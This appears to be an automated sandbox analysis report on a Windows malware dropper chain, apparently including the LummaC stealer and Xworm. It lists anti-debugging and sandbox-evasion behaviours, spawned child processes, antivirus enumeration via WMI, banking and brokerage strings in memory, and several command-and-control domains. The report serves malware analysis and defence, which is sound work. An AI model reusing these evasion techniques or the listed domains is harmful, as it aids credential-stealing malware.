Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 1C05b9.exe, 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmp, 1C05b9.exe, 00000004.00000000.2180998873.0000000000840000.00000080.00000001.01000000.00000006.sdmp, skotes.exe, 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000005.00000000.2202922001.0000000000370000.00000080.00000001.01000000.0000000B.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2844713308.00000000004A9000.00000040.00000001.01000000.0000000D.sdmp, S0E9GDU0ZDFIFFW6VFPUPGQZ.exe, 0000000D.00000001.2450373016.0000000000211000.00000080.00000001.01000000.0000000F.sdmp, S0E9GDU0ZDFIFFW6VFPUPGQZ.exe, 0000000D.00000002.2503046543.0000000000211000.00000040.00000001.01000000.0000000F.sdmp, S0E9GDU0ZDFIFFW6VFPUPGQZ.exe, 0000000D.00000000.2449631467.0000000000210000.00000080.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000F.00000000.2469207751.0000000000370000.00000080.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2521990431.0000000000371000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: f7eded9312.exe, 0000001C.00000003.2942308997.0000000005683000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe

Code function: 4_2_04F20CD0 rdtsc

4_2_04F20CD0

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Code function: 10_2_6C82AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_6C82AC62

Source: C:\Users\user\Desktop\same.exe

0_2_003E202A

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Code function: 4_2_0068652B mov eax, dword ptr fs:[00000030h]	4_2_0068652B
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Code function: 4_2_0068A302 mov eax, dword ptr fs:[00000030h]	4_2_0068A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001BA302 mov eax, dword ptr fs:[00000030h]	5_2_001BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_001B652B mov eax, dword ptr fs:[00000030h]	5_2_001B652B

Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\same.exe	Code function: 0_2_003E6CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_003E6CF0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Code function: 2_2_002A6CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_002A6CF0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Code function: 3_2_00366F40 SetUnhandledExceptionFilter,	3_2_00366F40
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Code function: 3_2_00366CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00366CF0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C82AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_6C82AC62
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C82B12A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_6C82B12A

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe PID: 3872, type: MEMORYSTR

LummaC encrypted strings found

Source: f7eded9312.exe, 0000001C.00000002.3074814935.0000000000831000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: cloudewahsj.shop
Source: f7eded9312.exe, 0000001C.00000002.3074814935.0000000000831000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: rabidcowse.shop
Source: f7eded9312.exe, 0000001C.00000002.3074814935.0000000000831000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: noisycuttej.shop
Source: f7eded9312.exe, 0000001C.00000002.3074814935.0000000000831000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: tirepublicerj.shop
Source: f7eded9312.exe, 0000001C.00000002.3074814935.0000000000831000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: framekgirus.shop
Source: f7eded9312.exe, 0000001C.00000002.3074814935.0000000000831000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: wholersorie.shop
Source: f7eded9312.exe, 0000001C.00000002.3074814935.0000000000831000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: abruptyopsn.shop
Source: f7eded9312.exe, 0000001C.00000002.3074814935.0000000000831000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: nearycrepso.shop
Source: f7eded9312.exe, 0000001C.00000002.3074814935.0000000000831000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: fallyjustif.click

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GIJEGDAKEH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe "C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe "C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe "C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe "C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe "C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GIJEGDAKEH.exe "C:\Users\user\Documents\GIJEGDAKEH.exe"
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Process created: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe "C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe"
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Process created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" setup.tar.gz

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Code function: 10_2_6C874760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

10_2_6C874760

Source: C:\Users\user\Desktop\same.exe

Code function: 0_2_003E18A3 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_003E18A3

Source: abu7zly.exe, 00000018.00000002.3469425787.00000000051C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: abu7zly.exe, 00000018.00000002.3469425787.00000000051C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q'PING!<Xwormmm>Program Manager<Xwormmm>0Te
Source: abu7zly.exe, 00000018.00000002.3469425787.00000000051C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: abu7zly.exe, 00000018.00000002.3446614356.000000000105E000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: _Program Manager
Source: abu7zly.exe, 00000018.00000002.3469425787.00000000051C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: f7eded9312.exe, 0000001C.00000002.3076420439.0000000000A5C000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: 9$pProgram Manager
Source: 1C05b9.exe, 1C05b9.exe, 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmp, S0E9GDU0ZDFIFFW6VFPUPGQZ.exe, 0000000D.00000002.2503588936.0000000000253000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000017.00000002.3444524667.00000000003B3000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: cProgram Manager
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2845187888.00000000004EF000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: )Program Manager
Source: abu7zly.exe, 00000018.00000002.3469425787.00000000051C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managert-

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Code function: 10_2_6C82AE71 cpuid

10_2_6C82AE71

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77202\_ctypes.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe VolumeInformation

Source: C:\Users\user\Desktop\same.exe

Code function: 0_2_003E7155 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_003E7155

Source: C:\Users\user\Desktop\same.exe

Code function: 0_2_003E2BFB GetVersion,GetModuleHandleW,GetProcAddress,CloseHandle,

0_2_003E2BFB

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 2z8320.exe, 2z8320.exe, 00000006.00000003.2332505724.0000000001334000.00000004.00000020.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2337646403.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2332392294.0000000005C0E000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2332435215.000000000134E000.00000004.00000020.00020000.00000000.sdmp, abu7zly.exe, 00000018.00000002.3482457670.00000000081B8000.00000004.00000020.00020000.00000000.sdmp, abu7zly.exe, 00000018.00000002.3441885150.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2986458771.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2986045040.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
